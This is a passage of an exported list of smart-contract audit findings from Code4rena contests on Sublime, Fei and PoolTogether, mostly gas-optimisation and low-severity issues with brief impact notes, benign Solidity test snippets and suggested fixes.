"Reduce length of require error messages to save in deployment costs", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0xngndev # Vulnerability details ### Impact Some of your contracts are quite large byte-wise and require the optimizer with low runs to not reach the code size limit of 24576 bytes. The code size of these contracts can be drastically reduced by shortening the length of your error messages, reducing their deployment cost. The best example of contracts having unnecessary long erorr messages are `CreditLine.sol` and `PoolFactory.sol`. When it comes to factories, whose primary goal is to deploy contracts, reducing the cost of doing so is something to keep in mind. ### Mitigation Steps Reduce the length of your error strings. Error messages like: `'PoolFactory::createPool - Repayment interval not within limits'` Could be reduced to: `Interval out of limits` You could save even more by doing something similar to what Uniswap does. They have very short error messages like: `ST`, and they expand on what they mean in their documentation. Another approach is to use revert with CustomErrors, something like this: `if (....) revert CustomError()` Following the example I used above, you could have a custom error message that says: `OutOfBounds()` and expand what it means in the natspec. Custom error messages are cheaper than strings error messages. Here's a snippet of Solidity's documentation about this: > Using a\u00a0**custom**\u00a0**error**\u00a0instance will usually be much cheaper than a string description, because you can use the name of the error to describe it, which is encoded in only four bytes. A longer description can be supplied via NatSpec which does not incur any costs. > "}, {"title": "Fix Unused Variables and Function Parameters", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/46", "labels": ["bug", "disagree with severity", "G (Gas Optimization)"], "target": "2021-12-sublime-findings", "body": "Fix Unused Variables and Function Parameters"}, {"title": "AaveYield: Misspelled external function name making functions fail", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact In `AaveYield.sol` the functions: - `liquidityToken` - `_withdrawETH` - `_depositETH` Make a conditional call to `IWETHGateway(wethGateway).getAWETHAddress()` This function does not exist in the `wethGateway` contract, causing these function to fail with the error `\"Fallback not allowed\"`. The function they should be calling is `getWethAddress()` without the \"A\". Small yet dangerous typo. ### Mitigation Steps Simply modify: `IWETHGateway(wethGateway).getAWETHAddress()` to: `IWETHGateway(wethGateway).getWETHAddress()` In the functions mentioned above. "}, {"title": "Possibility to drain SavingsAccount contract assets", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/41", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Possibility to drain SavingsAccount contract assets"}, {"title": "Gas: Inlining logic that's used only once in the contract", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0xngndev # Vulnerability details ### Impact Reduce code size and gas expenditure by inlining internal functions that are only used once throughout your contract. In some of your contracts, like `AaveYield.sol`, you have an `initialize` function that calls the internal functions `updateSavingsAccount` and `updateAaveAddresses`. These two functions are only called in the `initialize` function, so you can save some gas and code size by simply inlining their logic inside `initialize`. **The tradeoff, of course, is that you lose readability, and because `initialize` will only be called once, perhaps it's not worth the tradeoff.** To test the difference in code size and gas expenditure I wrote a example contract replicating the behaviour to see how much cheaper inlining the logic was. **The results:** Inlining the logic: - Gas spent: 45155 - Code size: 453 bytes Separating into internal functions: - Gas spent: 45189 - Code size: 467 bytes ### Proof of Concept Contracts I used to test the gas expenditure and code size differences: - InliningLogic ```bash //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.10; contract InliningLogic { address public someRandomAddress; address public anotherRandomAddress; function assignAddresses( address _someRandomAddress, address _anotherRandomAddress ) public { someRandomAddress = _someRandomAddress; anotherRandomAddress = _anotherRandomAddress; } } ``` - InliningLogic.t \u2014> DappTools test file ```bash //SPDX-License-Identifier: unlicensed pragma solidity 0.8.10; import \"ds-test/test.sol\"; import \"../InliningLogic.sol\"; contract InliningLogicTest is DSTest { InliningLogic inliningLogicContract; function setUp() public { inliningLogicContract = new InliningLogic(); } function testInliningLogic() public logs_gas { inliningLogicContract.assignAddresses(address(0x1), address(0x1)); } } ``` - NotInliningLogic ```bash //SPDX-License-Identifier: unlicensed pragma solidity 0.8.10; contract NotInliningLogic { address public someRandomAddress; address public anotherRandomAddress; function assignAddresses( address _someRandomAddress, address _anotherRandomAddress ) public { _assignAddresses(_someRandomAddress, _anotherRandomAddress); } function _assignAddresses( address _someRandomAddress, address _anotherRandomAddress ) internal { someRandomAddress = _someRandomAddress; anotherRandomAddress = _anotherRandomAddress; } } ``` - NotInliningLogic.t \u2014> test file ```bash //SPDX-License-Identifier: unlicensed pragma solidity 0.8.10; import \"ds-test/test.sol\"; import \"../NotInliningLogic.sol\"; contract NotInliningLogicTest is DSTest { NotInliningLogic notInliningLogicContract; function setUp() public { notInliningLogicContract = new NotInliningLogic(); } function testNotInliningLogic() public logs_gas { notInliningLogicContract.assignAddresses(address(0x1), address(0x1)); } } ``` ### Tools DappTools "}, {"title": "Gas: Upgrading solc version and removing SafeMath", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Gas: Upgrading solc version and removing SafeMath"}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "# Handle robee # Vulnerability details Users can mistakenly think that the return value is the named return, but it is actually the actualreturn statement that comes after. To know that the user needs to read the code and is confusing. Furthermore, removing either the actual return or the named return will save gas. L1LPTGateway.sol, getOutboundCalldata L2LPTGateway.sol, outboundTransfer L2LPTGateway.sol, getOutboundCalldata "}, {"title": "Unnecessary uint zero initialization", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact uint256 variable are initialized to a default value of zero per Solidity docs: https://docs.soliditylang.org/en/latest/control-structures.html#default-value Setting a variable to the default value is unnecessary. Removing lines of code where variables are initialized to zero can save gas. Here are a few articles describing this gas optimization: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6#53bd https://medium.com/coinmonks/gas-optimization-in-solidity-part-i-variables-9d5775e43dde#4135 ## Proof of Concept - contracts/Pool/Pool.sol:358 https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L358 - contracts/CreditLine/CreditLine.sol:812 https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L812 ## Tools Used Manual analysis ## Recommended Mitigation Steps Instead of initializing a variable to zero, such as `uint256 abc = 0;`, the line can be shortened to `uint256 abc;` as Solidity automatically initializes uint variables to zero. "}, {"title": "Gas optimization", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept The method initializeRepayment inside the contract Repayments has multipe storage access, it's better to get a pointer of the `RepaymentConstants` with the `storage` keyword in order to avoid seeking and storage access. ## Tools Used Manual review ## Recommended Mitigation Steps Use storage keyword in order to save gas "}, {"title": "Not verified function inputs of public / external functions", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/30", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-12-sublime-findings", "body": "Not verified function inputs of public / external functions"}, {"title": "Lack Of Precision", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Lack Of Precision"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle robee # Vulnerability details Prefix increments are cheaper than postfix increments. Further more, using unchecked {++x} is even more gas efficient, and the gas saving accumulates every iteration and can make a real change There is no risk of overflow caused by increamenting the iteration index in for loops (the `++i` in `for (uint256 i = 0; i < numIterations; ++i)`). But increments perform overflow checks that are not necessary in this case. These functions use not using prefix increments (`++x`) or not using the unchecked keyword: change to prefix increment and unchecked: ConvexStakingWrapper.sol, i, 115 change to prefix increment and unchecked: ConvexStakingWrapper.sol, u, 172 change to prefix increment and unchecked: ConvexStakingWrapper.sol, u, 227 change to prefix increment and unchecked: ConvexYieldWrapper.sol, i, 111 change to prefix increment and unchecked: ConvexStakingWrapper.sol, i, 287 change to prefix increment and unchecked: ConvexStakingWrapper.sol, i, 271 change to prefix increment and unchecked: ConvexStakingWrapper.sol, i, 315 change to prefix increment and unchecked: ConvexYieldWrapper.sol, i, 63 "}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/21", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-12-sublime-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "Unnecessary Reentrancy Guards", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Unnecessary Reentrancy Guards"}, {"title": "Gas saving by struct reorganization", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept It's possible to optimize the struct CreditLineConstants from CreditLine contract, the last 4 fields spend 3 storage slots, moving the boolean values between the address values, it will spend only two slots as follows: ```struct CreditLineConstants { address lender; address borrower; uint256 borrowLimit; uint256 idealCollateralRatio; uint256 borrowRate; address borrowAsset; bool autoLiquidation; address collateralAsset; bool requestByLender; }```. ## Tools Used Manual review. ## Recommended Mitigation Steps Reorder the structs fields "}, {"title": "Gas saving using delete", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept In the method updateStrategy and removeStrategy of StrategyRegistry contract, when the contract want to remove a strategy, the old one, it's set to false, instead of use delete, this will remaing the storage space and it has expensive than use delete. ## Tools Used Manual review ## Recommended Mitigation Steps Use delete instead of set to `false` "}, {"title": "Gas saving removing safe math", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept The method addStrategy inside StrategyRegistry do a require with safe math: `require(strategies.length.add(1) <= maxStrategies, \"StrategyRegistry::addStrategy - Can't add more strategies\");` is not possible to has a map that could lead in an integer overflow, so remove this `add` and use a regular + will safe gas. ## Tools Used Manual review ## Recommended Mitigation Steps Remove safe math in this call "}, {"title": "Gas saving by duplicate check", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept In the contract `StrategyRegistry` the method `initialize` execute a require in order to check that the `_maxStrategies` is different than 0, this check will be done later inside the method `_updateMaxStrategies`, so it's duplicated and can be removed. ## Tools Used Manual review ## Recommended Mitigation Steps Remove the _maxStrategies checks inside the initialize method. "}, {"title": "Deprecated safeApprove() function", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle sirhashalot # Vulnerability details The OpenZeppelin ERC20 `safeApprove()` function has been deprecated, as seen in the comments of the OpenZeppelin code. ## Impact Detailed description of the impact of this finding. Using this deprecated function can lead to unintended reverts and potentially the locking of funds. A deeper discussion on the deprecation of this function is in OZ [issue #2219](https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2219). ## Proof of Concept The deprecated function is found in: - SavingsAccount/SavingsAccount.sol [line 173](https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/SavingsAccount/SavingsAccount.sol#L173) - SavingsAccount/SavingsAccountUtil.sol [line 61](https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/SavingsAccount/SavingsAccountUtil.sol#L61) - mocks/yVault/yVault.sol [line 164](https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/mocks/yVault/yVault.sol#L164) - mocks/yVault/Controller.sol [line 196 and 197](https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/mocks/yVault/Controller.sol#L196) ## Tools Used Manual analysis ## Recommended Mitigation Steps As suggested by the OpenZeppelin comment, replace `safeApprove()` with `safeIncreaseAllowance()` or `safeDecreaseAllowance()` instead. "}, {"title": "Comparison with literal boolean values", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/160", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Comparison with literal boolean values"}, {"title": "Unused local variables in requery (TRIBERagequit.sol)", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Unused local variables in requery (TRIBERagequit.sol)"}, {"title": "Assignment Of State Variables To Default ", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Assignment Of State Variables To Default "}, {"title": "unsafe cast", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/151", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle danb # Vulnerability details oracle.pcvStats returns newProtocolEquity as int256, it is then casted to uint256 in recalculate. If it is possible that newProtocolEquity will be negative, consider using SafeCast instead. "}, {"title": "denial of service", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/150", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "denial of service"}, {"title": "PegExchanger expiry block must be set to at least `MIN_EXPIRY_WINDOW + 1` into the future", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/149", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "PegExchanger expiry block must be set to at least `MIN_EXPIRY_WINDOW + 1` into the future"}, {"title": "`preMergeCirculatingTribe` can be constant", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle loop # Vulnerability details `preMergeCirculatingTribe` is a `uint256` set to a constant value which isn't changed by any function in the contract and can thus be declared as a constant state variable to save some gas during deployment and when using `preMergeCirculatingTribe`. ## Proof of Concept https://github.com/code-423n4/2021-11-fei/blob/main/contracts/TRIBERagequit.sol#L28 "}, {"title": "No restriction for expiration block in TRIBERagequit.sol", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/144", "labels": ["bug", "duplicate", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "No restriction for expiration block in TRIBERagequit.sol"}, {"title": "Don't cache bool `check`", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-fei-findings", "body": "Don't cache bool `check`"}, {"title": "Not used return value at recalculate and requery in TRIBERagequit.sol", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-fei-findings", "body": "Not used return value at recalculate and requery in TRIBERagequit.sol"}, {"title": "Wrong comments about key in TRIBERagequit", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/135", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Wrong comments about key in TRIBERagequit"}, {"title": "Loops can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/134", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Loops can be implemented more efficiently"}, {"title": "In TRIBERagequit.sol, users can get frontrunned ", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/131", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "In TRIBERagequit.sol, users can get frontrunned "}, {"title": "Value of token1OutBase might became stale in TRIBERagequit.sol", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/126", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Value of token1OutBase might became stale in TRIBERagequit.sol"}, {"title": "Gas Optimization: Unchecked safe logic in TRIBERagequit.sol", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Gas Optimization: Unchecked safe logic in TRIBERagequit.sol"}, {"title": "Inaccurate revert reason in TRIBERagequit.sol", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/122", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle gzeon # Vulnerability details ## Impact The revert reason in L74 is inaccurate. It should be \"ragequit more than assigned\". L72-75 ``` require( (claimed[thisSender] + multiplier) <= key, \"already ragequit all you tokens\" ); ``` The original revert string wrongly implies that claimed[thisSender] >= key Might cause confusing when user who have not yet claimed mistakenly supplied a multiplier > key "}, {"title": "Wrong `preMergeCirculatingTribe` value", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Wrong `preMergeCirculatingTribe` value"}, {"title": "TRIBERageQuit: Redundant oracleAddress variable", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact The following line ```jsx address public constant oracleAddress = 0xd1866289B4Bd22D453fFF676760961e0898EE9BF; // oracle with caching ``` is only used in the instantiation of the oracle `IOracle public constant oracle = IOracle(oracleAddress);` The first instantiation can be combined with the second to save gas. ## Recommended Mitigation Steps `IOracle public constant oracle = IOracle(0xd1866289B4Bd22D453fFF676760961e0898EE9BF);` "}, {"title": "TRIBERagequit: Make verifyClaim() public", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/107", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Suggestion Based on past experiences with on-chain actions involving merkle proofs, users tend to ask for the merkle tree data so that they can, in this case, ragequit their TRIBE for FEI by directly interacting with the contract on Etherscan. It would therefore be helpful for `verifyClaim()` to be made public for users to verify that the merkle proof they input via Etherscan is correct. "}, {"title": "PegExchanger#giveTo(): Use transfer() method instead of transferFrom()", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact Looking at the TRIBE token implementation, it would be cheaper to call the `transfer()` method as opposed to the the `transferFrom()` method since the latter contains additional logic (Eg. additional SLOAD to fetch the allowance). ## Recommended Mitigation Steps ```jsx function giveTo(address target, uint256 amount) internal { bool check = token1.transfer(target, amount); require(check, \"erc20 transfer failed\"); } ``` "}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": "Gas Optimization On The 2^256-1", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Gas Optimization On The 2^256-1"}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Remove unnecessary variables can make the code simpler and save some gas"}, {"title": "`++i` is more efficient than `i++`", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "`++i` is more efficient than `i++`"}, {"title": " `TribeRagequit.sol` minter role to FEI is unnecessary", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": " `TribeRagequit.sol` minter role to FEI is unnecessary"}, {"title": "Remove unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/88", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-fei-findings", "body": "Remove unnecessary function can make the code simpler and save some gas"}, {"title": "`PegExchanger.sol` unused tribe tokens can be frozen in the contract", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "`PegExchanger.sol` unused tribe tokens can be frozen in the contract"}, {"title": "Improve readability of constants", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-fei-findings", "body": "Improve readability of constants"}, {"title": "Consider change some constants into immutable variables for settings that can be configured at deploy time", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Consider change some constants into immutable variables for settings that can be configured at deploy time"}, {"title": "Code Style: constants should be named in all caps", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-fei-findings", "body": "Code Style: constants should be named in all caps"}, {"title": "Use short reason strings can save gas", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "Use short reason strings can save gas"}, {"title": "Use else if can save gas", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Use else if can save gas"}, {"title": "`PegExchanger.sol#exchange()` Redundant code", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "`PegExchanger.sol#exchange()` Redundant code"}, {"title": "Missing events for critical operations", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-fei-findings", "body": "Missing events for critical operations"}, {"title": "Outdated compiler version", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/66", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Outdated compiler version"}, {"title": "False information given to the user", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle Czar102 # Vulnerability details ## Impact In `TribeRagequit` when a user tries to withdraw more than is left, a `\"already ragequit all you tokens\"` error is displayed. This is not necessarily true.\\ For example, if one may withdraw multiplier 1000 times and calls `ngmi(...)` function, stating their balance as 1001 tokens, they would get an information that they have already ragequit all tokens, whic is false as non of them have been ragequit yet. ## Proof of Concept [code](https://github.com/code-423n4/2021-11-fei/blob/add34324513b863f58e4ef7b3cd0c12d776dbb7f/contracts/TRIBERagequit.sol#L74) ## Tools Used Manual analysis ## Recommended Mitigation Steps Change the information to correctly reflect the situation. "}, {"title": "Expiration time shift", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Expiration time shift"}, {"title": "Unnatural interface", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-fei-findings", "body": "Unnatural interface"}, {"title": "Ragequit function ngmi() Will Fail Even If Follow All Steps in Simulations", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/47", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Ragequit function ngmi() Will Fail Even If Follow All Steps in Simulations"}, {"title": "Avoid On Chain Computation That Have Known Answer to Save Gas", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Avoid On Chain Computation That Have Known Answer to Save Gas"}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/31", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-fei-findings", "body": "Open TODOs"}, {"title": "Require with not comprehensive message", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "# Handle robee # Vulnerability details The following requires has a non comprehensive messages. This is very important to add a comprehensive message for any require. Such that the user has enough information to know the reason of failure: Solidity file: XDEFIDistribution.sol, In line 227 with Require message: NO_TOKEN Solidity file: XDEFIDistribution.sol, In line 232 with Require message: NO_TOKEN "}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "Public functions to external"}, {"title": "Internal functions to private", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "Internal functions to private"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Gas saving in ngmi(uint256,uint256,bytes32[])", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fei-findings", "body": "# Handle tqts # Vulnerability details ## Impact Saving of one SLOAD instruction ## Proof of Concept The value of `claimed[thisSender] + multiplier` is used twice in `ngmi(uint256,uint256,bytes32[])`. This involves a SLOAD each time it is calculated. Usages in lines 73 and 76 of TRIBERagequit.sol. ## Tools Used Manual review ## Recommended Mitigation Steps Precache the value of the expression right before line 72. Worst case, if the require fails, no extra gas is used. Best case, if the require succeeds, the SLOAD in line 76 is saved. "}, {"title": "constructor should be removed if not used", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "constructor should be removed if not used"}, {"title": "Testing for initial condition on oracle query last saves gas.", "html_url": "https://github.com/code-423n4/2021-11-fei-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fei-findings", "body": "Testing for initial condition on oracle query last saves gas."}, {"title": "Inline functions _updateClaimedEpoch and _isClaimedEpoch", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "Inline functions _updateClaimedEpoch and _isClaimedEpoch"}, {"title": "Transfer amounts not checked for > 0 ", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "Transfer amounts not checked for > 0 "}, {"title": "Implement _calculateRewardAmount more efficiently", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/134", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle 0x0x0x # Vulnerability details [https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L302-L321](https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L302-L321) is as follows: ``` uint256 _averageBalance = _ticket.getAverageBalanceBetween( _user, uint64(_epochStartTimestamp), uint64(_epochEndTimestamp) ); uint64[] memory _epochStartTimestamps = new uint64[](1); _epochStartTimestamps[0] = uint64(_epochStartTimestamp); uint64[] memory _epochEndTimestamps = new 